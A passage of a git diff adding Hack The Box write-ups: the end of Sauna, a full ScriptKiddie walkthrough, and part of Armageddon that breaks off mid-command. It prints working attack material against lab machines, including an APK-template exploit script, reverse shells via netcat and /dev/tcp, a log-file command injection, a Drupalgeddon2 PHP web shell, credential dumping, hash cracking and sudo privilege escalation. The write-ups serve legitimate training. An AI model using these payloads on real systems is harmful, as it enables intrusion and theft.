50cb7cfb64edf83218804d934e30d431 + 06 781dbcf7b8f9079382a1948f26f561ee + 07 4052111530264023a7d445957f5146e6 + 08 8f4bffc5d94cc294272cd0c836e15c47 + 09 0c81bc892ea87f7dd0f4a3a05b51f158 + 10 f8c10a5bd37ea2568976d47ef12e55b9 + 11 8f4bffc5d94cc294272cd0c836e15c47 + 12 023b04503e3eef421de2fcaf8ba1297d + 13 613839caf0cf709da25991e2e5cb63cf + 14 16974c015c9905fb27e55a52dc14dfb0 + 15 3c8af7ccd5e9bd131849990d6f18954b + 16 2b26fb63dcbf03fe68b67cdd2c72b6e6 + 17 6eeda5f64e4adef4c299717eafbd2850 + 18 3b32ec94978feeac76ba92b312114e2c + 19 b25058bc1ebfcac10605d39f65bff67f + 20 89e75cc6957728117eb1192e739e5235 + 21 7e6d891c956f186006f07f15719a8a4e + 22 a2cada693715ecc5725a235d3439e6a2 + 23 79e1db34d98ccd050b493138a3591683 + 24 1f29ace4f232ebce1a60a48a45593205 + 25 9233c8df5a28ee96900cc8b59a731923 + 26 08c02557056f293aab47eccf1186c100 + 27 695caa49e68da1ae78c1523b3442e230 + 28 57d7b68bd2f06eae3ba10ca342e62a78 + 29 3f14bb208435674e6a1cb8a957478c18 + + + mimikatz(commandline) # exit + Bye! + + +And we got the NTLM Hash! Let's use it to login as the Administrator user: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → evil-winrm -u Administrator -H "d9485863c1e9e05851aa40cbb4ab9dff" -i egotistical-bank.local + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami + egotisticalbank\administrator + *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop + *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt + f3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get an Administrator evil-winrm session and got the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/57_graph.png) + diff --git a/Easy/58.md b/Easy/58.md new file mode 100644 index 0000000..4f2f639 --- /dev/null +++ b/Easy/58.md @@ -0,0 +1,396 @@ +# ScriptKiddie Writeup + +![](img/58.png) + +## Introduction : + +ScriptKiddie is an easy box released back in Febuary 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/ScriptKiddie] + → nmap -vvv -p- 10.10.10.226 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.226 + Discovered open port 5000/tcp on 10.10.10.226 + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) + | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) + |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) + 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) + |_http-title: k1d'5 h4ck3r t00l5 + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 5000 so let's investigate it: + +![](prg/58_001.png) + +There were alot of rabbitholes for this box early on, so here's the intended way: + +![](prg/58_002.png) + +Basically here you see that you are able to upload an android template file, and there is an exploit for it called [CVE2020-7384](https://www.exploit-db.com/exploits/49491): + +![](prg/58_003.png) + +So let's save it locally: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/ScriptKiddie] + → vim exploit.py + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/ScriptKiddie] + → cat exploit.py + #!/usr/bin/env python3 + import subprocess + import tempfile + import os + from base64 import b64encode + + # Change me + **payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2> &1|nc 10.10.14.13 9001 >/tmp/f'** + + # b64encode to avoid badchars (keytool is picky) + payload_b64 = b64encode(payload.encode()).decode() + dname = f"CN='|echo {payload_b64} | base64 -d | sh #" + + print(f"[+] Manufacturing evil apkfile") + print(f"Payload: {payload}") + print(f"-dname: {dname}") + print() + + tmpdir = tempfile.mkdtemp() + apk_file = os.path.join(tmpdir, "evil.apk") + empty_file = os.path.join(tmpdir, "empty") + keystore_file = os.path.join(tmpdir, "signing.keystore") + storepass = keypass = "password" + key_alias = "signing.key" + + # Touch empty_file + open(empty_file, "w").close() + + # Create apk_file + subprocess.check_call(["zip", "-j", apk_file, empty_file]) + + # Generate signing key with malicious -dname + subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass, + "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname]) + + # Sign APK using our malicious dname + subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file, + "-storepass", storepass, "-keypass", keypass, apk_file, key_alias]) + + print() + print(f"[+] Done! apkfile is at {apk_file}") + print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null") + + + +You can use this or we can just use metasploit: + + + msf6 > search venom apk + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection 2020-10-29 excellent No Rapid7 Metasploit Framework msfvenom APK Template Command Injection + + + Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection + + msf6 > use 0 + [*] No payload configured, defaulting to cmd/unix/reverse_netcat + msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options + + Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FILENAME msf.apk yes The APK file name + + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.0.0.10 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + **DisablePayloadHandler: True (no handler will be created!)** + + + Exploit target: + + Id Name + -- ---- + 0 Automatic + + + + +Let's setup the required options and generate the apk template: + + + msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST tun0 + LHOST => tun0 + msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 9002 + LPORT => 9002 + msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit + + [+] msf.apk stored at /home/nothing/.msf4/local/msf.apk + msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exit + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/ScriptKiddie] + → cp /home/nothing/.msf4/local/msf.apk . + + + +Now let's prepare our netcat to catch the reverse shell on our port 9002, and upload the apk file: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/ScriptKiddie] + → nc -lvnp 9002 + listening on [any] 9002 ... + + + +` ![](prg/58_004.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/ScriptKiddie] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.226] 36670 + id + uid=1000(kid) gid=1000(kid) groups=1000(kid) + + cat ~/user.txt + 1dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We have a reverse shell as the kid user, and thus we have been able to print the user flag. + +## **Part 3 : Getting Root Access** + +Now before we enumerate the box let's get a fully interactive TTY shell: + + + which python python3 wget curl + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + + #spawn a TTY with python3 + + python3 -c 'import pty; pty.spawn("/bin/bash")' + + + #background the reverse shell process + + kid@scriptkiddie:~/html$ ^Z + [1] + 3083589 suspended nc -lvnp 9002 + + + #set stty raw and foreground the process + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/ScriptKiddie] + → stty raw -echo ; fg + [1] + 3083589 continued nc -lvnp 9002 + + #export the SHELL and TERM variables + + kid@scriptkiddie:~/html$ export SHELL=bash + kid@scriptkiddie:~/html$ export TERM=screen-256color + + #set the TTY rows and columns for vi / nano + kid@scriptkiddie:~/html$ stty rows 40 columns 125 + kid@scriptkiddie:~/html$ reset + + + +Now that we have a fully interactive TTY shell let's upload linpeas onto the box: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/ScriptKiddie] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/ScriptKiddie] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term2] + + kid@scriptkiddie:~/html$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-08 12:04:57-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[====================================================>] 333.85K 2.03MB/s in 0.2s + + 2021-06-08 12:04:57 (2.03 MB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + kid@scriptkiddie:~/html$ chmod +x /tmp/peas.sh + kid@scriptkiddie:~/html$ /tmp/peas.sh + + + +` ![](prg/58_005.png) + +Scrolling through the output we see that there is another user on the box named **pwn** : + +![](prg/58_006.png) + +So let's take a look at his home directory: + + + kid@scriptkiddie:~/html$ ls -lash /home/pwn + total 44K + 4.0K drwxr-xr-x 6 pwn pwn 4.0K Feb 3 12:06 . + 4.0K drwxr-xr-x 4 root root 4.0K Feb 3 07:40 .. + 0 lrwxrwxrwx 1 root root 9 Feb 3 12:06 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 pwn pwn 220 Feb 25 2020 .bash_logout + 4.0K -rw-r--r-- 1 pwn pwn 3.7K Feb 25 2020 .bashrc + 4.0K drwx------ 2 pwn pwn 4.0K Jan 28 17:08 .cache + 4.0K drwxrwxr-x 3 pwn pwn 4.0K Jan 28 17:24 .local + 4.0K -rw-r--r-- 1 pwn pwn 807 Feb 25 2020 .profile + 4.0K -rw-rw-r-- 1 pwn pwn 74 Jan 28 16:22 .selected_editor + 4.0K drwx------ 2 pwn pwn 4.0K Feb 10 16:10 .ssh + 4.0K drwxrw---- 2 pwn pwn 4.0K Feb 3 12:00 recon + 4.0K -rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 scanlosers.sh + kid@scriptkiddie:~/html$ cd /home/pwn + kid@scriptkiddie:/home/pwn$ cat scanlosers.sh + #!/bin/bash + + log=/home/kid/logs/hackers + + cd /home/pwn/ + cat $log | cut -d' ' -f3- | sort -u | while read ip; do + sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" & + done + + if [[ $(wc -l <****$log) -gt 0 ]]; then echo -n > $log; fi + +Here we see that there is a bashscript that takes a logfile from **/home/kid/logs/hackers** it, gets ip addresses from it and runs nmap against each of them. However the input isn't being sanitized, so let's use it to get a reverse shell: + + + kid@scriptkiddie:/home/pwn$ echo -n "Z Y 10.10.14.13;/bin/bash -c 'bash >& /dev/tcp/10.10.14.13/9003 0>&1' #" >/home/kid/logs/hackers + + +And as soon as we run it we have a reverse shell connection: + + + [ 10.10.14.13/23 ] [ /dev/pts/48 ] [~/HTB/ScriptKiddie] + → nc -lvnp 9003 + listening on [any] 9003 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.226] 53822 + id + uid=1001(pwn) gid=1001(pwn) groups=1001(pwn) + + + +This time we get access to the pwn user, So let's spawn a fully interactive TTY just like we previously did: + + + python3 -c 'import pty; pty.spawn("/bin/bash")' + pwn@scriptkiddie:~$ ^Z + [1] + 3150958 suspended nc -lvnp 9003 + + [ 10.10.14.13/23 ] [ /dev/pts/48 ] [~/HTB/ScriptKiddie] + → stty raw -echo ; fg + [1] + 3150958 continued nc -lvnp 9003 + export TERM=screen-256color + pwn@scriptkiddie:~$ export SHELL=bash + pwn@scriptkiddie:~$ stty rows 40 columns 200 + pwn@scriptkiddie:~$ reset + + +Now we run linpeas once again: + + + pwn@scriptkiddie:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh ; chmod +x /tmp/peas.sh ; /tmp/peas.sh + + + +This time we see the following: + +![](prg/58_007.png) + +Apparently the pwn user can run **metasploit** as the root user, so let's do it: + + + pwn@scriptkiddie:~$ sudo -l + Matching Defaults entries for pwn on scriptkiddie: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User pwn may run the following commands on scriptkiddie: + (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole + pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole + + pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole + + + .:okOOOkdc' 'cdkOOOko:. + .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. + :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: + 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' + oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo + dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx + lOOOOOOOO. ;d; ,OOOOOOOOl + .OOOOOOOO. .; ; ,OOOOOOOO. + cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc + oOOOOOO. .OOOO. :OOOO. ,OOOOOOo + lOOOOO. .OOOO. :OOOO. ,OOOOOl + ;OOOO' .OOOO. :OOOO. ;OOOO; + .dOOo .OOOOocccxOOOO. xOOd. + ,kOl .OOOOOOOOOOOOO. .dOk, + :kk;.OOOOOOOOOOOOO.cOk: + ;kOOOOOOOOOOOOOOOk: + ,xOOOOOOOOOOOx, + .lOOOOOOOl. + ,dOd, + . + + =[ metasploit v6.0.9-dev ] + + -- --=[ 2069 exploits - 1122 auxiliary - 352 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 7 evasion ] + + Metasploit tip: Display the Framework log using the log command, learn more with help log + + msf6 > bash + [*] exec: bash + + root@scriptkiddie:/home/pwn# id + uid=0(root) gid=0(root) groups=0(root) + root@scriptkiddie:/home/pwn# cat /root/root.txt + 87XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And there you go! We managed to get a root shell and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/58_graph.png) + diff --git a/Easy/59.md b/Easy/59.md new file mode 100644 index 0000000..af082d4 --- /dev/null +++ b/Easy/59.md @@ -0,0 +1,419 @@ +# Armageddon Writeup + +![](img/59.png) + +## Introduction : + +Armageddon is an easy Linux box released back in March 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon] + → nmap -sCV 10.129.48.89 + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon] + → nmap -vvv -p- 10.129.48.89 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.129.48.89 + Discovered open port 22/tcp on 10.129.48.89 + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon] + → nmap -sCV -p 22,80 10.129.48.89 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:39 CEST + Nmap scan report for 10.129.48.89 + Host is up (0.46s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) + | ssh-hostkey: + | 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA) + | 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA) + |_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519) + 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) + |_http-generator: Drupal 7 (http://drupal.org) + | http-robots.txt: 36 disallowed entries (15 shown) + | /includes/ /misc/ /modules/ /profiles/ /scripts/ + | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt + | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt + |_/LICENSE.txt /MAINTAINERS.txt + |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 + |_http-title: Welcome to Armageddon | Armageddon + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/59_001.png) + +Just as like what we saw in our nmap scan results, this is a website running Drupal, and when we take a look at the page sourcecode we see get the confirmation that this is a Drupal 7 instance: + +![](prg/59_002.png) + +Now in order to exploit it we can use [Drupalgeddon2](https://github.com/dreadlocked/Drupalgeddon2) + + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon] + → git clone https://github.com/dreadlocked/Drupalgeddon2 + Cloning into 'Drupalgeddon2'... + remote: Enumerating objects: 257, done. + remote: Counting objects: 100% (4/4), done. + remote: Compressing objects: 100% (4/4), done. + remote: Total 257 (delta 0), reused 0 (delta 0), pack-reused 253 + Receiving objects: 100% (257/257), 102.12 KiB | 202.00 KiB/s, done. + Resolving deltas: 100% (88/88), done. + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon] + → cd Drupalgeddon2 + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2] + → ls -l + total 44 + -rwxr-xr-x 1 nothing nothing 7262 Aug 5 15:39 drupalgeddon2-customizable-beta.rb + -rwxr-xr-x 1 nothing nothing 22954 Aug 5 15:39 drupalgeddon2.rb + -rw-r--r-- 1 nothing nothing 11388 Aug 5 15:39 README.md + + + +In order to run it we need the **highline** ruby gem: + + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2] + → sudo gem install highline + [sudo] password for nothing: + Fetching highline-2.0.3.gem + Successfully installed highline-2.0.3 + Parsing documentation for highline-2.0.3 + Installing ri documentation for highline-2.0.3 + Done installing documentation for highline after 2 seconds + 1 gem installed + + + +Once that's done we run it: + + + [ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2] + → ./drupalgeddon2.rb http://10.129.48.89 + [*] --==[::#Drupalggedon2::]==-- + -------------------------------------------------------------------------------- + [i] Target : http://10.129.48.89/ + -------------------------------------------------------------------------------- + [+] Found : http://10.129.48.89/CHANGELOG.txt (HTTP Response: 200) + [+] Drupal!: v7.56 + -------------------------------------------------------------------------------- + [*] Testing: Form (user/password) + [+] Result : Form valid + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + [*] Testing: Clean URLs + [!] Result : Clean URLs disabled (HTTP Response: 404) + [i] Isn't an issue for Drupal v7.x + -------------------------------------------------------------------------------- + [*] Testing: Code Execution (Method: name) + [i] Payload: echo UJNQTJEV + [+] Result : UJNQTJEV + [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO! + -------------------------------------------------------------------------------- + [*] Testing: Existing file (http://10.129.48.89/shell.php) + [i] Response: HTTP 404 // Size: 5 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + [*] Testing: Writing To Web Root (./) + [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php + [+] Result : <****?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2> &1' ); } + [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!! + -------------------------------------------------------------------------------- + [i] Fake PHP shell: curl 'http://10.129.48.89/shell.php' -d 'c=hostname' + armageddon.htb>> + + + +And it looks like we have a shell! however we see that it's not easy to navigate the system with it because of how limited it is: + + + armageddon.htb>> ls -lash + total 288K + 4.0K drwxr-xr-x. 9 apache apache 4.0K Aug 5 14:41 . + 0 drwxr-xr-x. 4 root root 33 Dec 3 2020 .. + 4.0K -rw-r--r--. 1 apache apache 317 Jun 21 2017 .editorconfig + 4.0K -rw-r--r--. 1 apache apache 174 Jun 21 2017 .gitignore + 8.0K -rw-r--r--. 1 apache apache 6.0K Jun 21 2017 .htaccess + 112K -rw-r--r--. 1 apache apache 109K Jun 21 2017 CHANGELOG.txt + 4.0K -rw-r--r--. 1 apache apache 1.5K Jun 21 2017 COPYRIGHT.txt + 4.0K -rw-r--r--. 1 apache apache 1.7K Jun 21 2017 INSTALL.mysql.txt + 4.0K -rw-r--r--. 1 apache apache 1.9K Jun 21 2017 INSTALL.pgsql.txt + 4.0K -rw-r--r--. 1 apache apache 1.3K Jun 21 2017 INSTALL.sqlite.txt + 20K -rw-r--r--. 1 apache apache 18K Jun 21 2017 INSTALL.txt + 20K -rw-r--r--. 1 apache apache 18K Nov 16 2016 LICENSE.txt + 12K -rw-r--r--. 1 apache apache 8.6K Jun 21 2017 MAINTAINERS.txt + 8.0K -rw-r--r--. 1 apache apache 5.3K Jun 21 2017 README.txt + 12K -rw-r--r--. 1 apache apache 9.9K Jun 21 2017 UPGRADE.txt + 8.0K -rw-r--r--. 1 apache apache 6.5K Jun 21 2017 authorize.php + 4.0K -rw-r--r--. 1 apache apache 720 Jun 21 2017 cron.php + 4.0K drwxr-xr-x. 4 apache apache 4.0K Jun 21 2017 includes + 4.0K -rw-r--r--. 1 apache apache 529 Jun 21 2017 index.php + 4.0K -rw-r--r--. 1 apache apache 703 Jun 21 2017 install.php + 4.0K drwxr-xr-x. 4 apache apache 4.0K Dec 4 2020 misc + 4.0K drwxr-xr-x. 42 apache apache 4.0K Jun 21 2017 modules + 0 drwxr-xr-x. 5 apache apache 70 Jun 21 2017 profiles + 4.0K -rw-r--r--. 1 apache apache 2.2K Jun 21 2017 robots.txt + 0 drwxr-xr-x. 2 apache apache 261 Jun 21 2017 scripts + 4.0K -rw-r--r--. 1 apache apache 75 Aug 5 14:41 shell.php + 0 drwxr-xr-x. 4 apache apache 75 Jun 21 2017 sites + 0 drwxr-xr-x. 7 apache apache 94 Jun 21 2017 themes + 20K -rw-r--r--. 1 apache apache 20K Jun 21 2017 update.php + 4.0K -rw-r--r--. 1 apache apache 2.2K Jun 21 2017 web.config + 4.0K -rw-r--r--. 1 apache apache 417 Jun 21 2017 xmlrpc.php + armageddon.htb>> pwd + /var/www/html + armageddon.htb>> cd sites + + armageddon.htb>> pwd + /var/www/html + + armageddon.htb>> which cd + /usr/bin/cd + + + +As you can see we can't use the cd command to change directories. But that's not an issue so we navigate to **sites/default/settings.php** + + + armageddon.htb>> cat sites/default/settings.php + <****?php + + [...] + + $databases = array ( + 'default' => + array ( + 'default' => + array ( + 'database' => 'drupal', + 'username' => 'drupaluser', + 'password' => 'CQHEy@9M*m23gBVj', + 'host' => 'localhost', + 'port' => '', + 'driver' => 'mysql', + 'prefix' => '', + ), + ), + ); + + [...] + + ?> + + armageddon.htb>> cat /etc/passwd + root:x:0:0:root:/root:/bin/bash + bin:x:1:1:bin:/bin:/sbin/nologin + daemon:x:2:2:daemon:/sbin:/sbin/nologin + adm:x:3:4:adm:/var/adm:/sbin/nologin + lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin + sync:x:5:0:sync:/sbin:/bin/sync + shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown + halt:x:7:0:halt:/sbin:/sbin/halt + mail:x:8:12:mail:/var/spool/mail:/sbin/nologin + operator:x:11:0:operator:/root:/sbin/nologin + games:x:12:100:games:/usr/games:/sbin/nologin + ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin + nobody:x:99:99:Nobody:/:/sbin/nologin + systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin + dbus:x:81:81:System message bus:/:/sbin/nologin + polkitd:x:999:998:User for polkitd:/:/sbin/nologin + sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin + postfix:x:89:89::/var/spool/postfix:/sbin/nologin + apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin + mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin + brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash + +now here we seem to have credentials for a mysql database, however the drupaluser doesn't appear in /etc/passwd, therefore we probably need to get password hashes from the database itself: + + + armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;' + name pass + + brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt + + + +now here we have a password hash, so let's crack it with john: + + + [ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon] + → vim hash.txt + + [ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon] + → cat hash.txt + $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt + + [ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon] + → john hash.txt -w=/usr/share/wordlists/rockyou.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x]) + Cost 1 (iteration count) is 32768 for all loaded hashes + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + booboo (?) + 1g 0:00:00:00 DONE (2021-08-09 11:30) 2.439g/s 585.3p/s 585.3c/s 585.3C/s tiffany..chris + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + + +And we have brucetherealadmin's password! Now let's try to login via SSH: + + + [ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon] + → ssh brucetherealadmin@10.129.48.89 + The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established. + ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.129.48.89' (ECDSA) to the list of known hosts. + brucetherealadmin@10.129.48.89's password: + Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2 + [brucetherealadmin@armageddon ~]$ id + uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 + [brucetherealadmin@armageddon ~]$ ls -lash + total 16K + 0 drwx------. 2 brucetherealadmin brucetherealadmin 99 Dec 14 2020 . + 0 drwxr-xr-x. 3 root root 31 Dec 3 2020 .. + 0 lrwxrwxrwx. 1 root root 9 Dec 11 2020 .bash_history -> /dev/null + 4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 18 Apr 1 2020 .bash_logout + 4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 193 Apr 1 2020 .bash_profile + 4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 231 Apr 1 2020 .bashrc + 4.0K -r--------. 1 brucetherealadmin brucetherealadmin 33 Aug 9 10:03 user.txt + [brucetherealadmin@armageddon ~]$ cat user.txt + 58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to login and get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to get to the root flag. We first need to enumerate the box, to do so we can use linpeas.sh: + + + [terminal 1] + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon] + → cp /home/nothing/HTB/Academy/linpeas.sh . + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + [brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/linpeas.sh > /tmp/peas.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 333k 100 333k 0 0 120k 0 0:00:02 0:00:02 --:--:-- 120k + [brucetherealadmin@armageddon ~]$ chmod +x /tmp/peas.sh + [brucetherealadmin@armageddon ~]$ /tmp/peas.sh + + + +` ![](prg/59_003.png) + +Let it run, and then when we check the output we see the following: + +![](prg/59_004.png) + +Looks like we are able to run **snap** as the root user without any password, therefore let's use the [gtfobin](https://gtfobins.github.io/gtfobins/snap/) for snap: + +![](prg/59_006.png) + + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon] + → sudo gem install fpm + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon] + → COMMAND='bash -c "bash -i >& /dev/tcp/10.10.14.34/9001 0>&1"' + + [ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon] + → cd 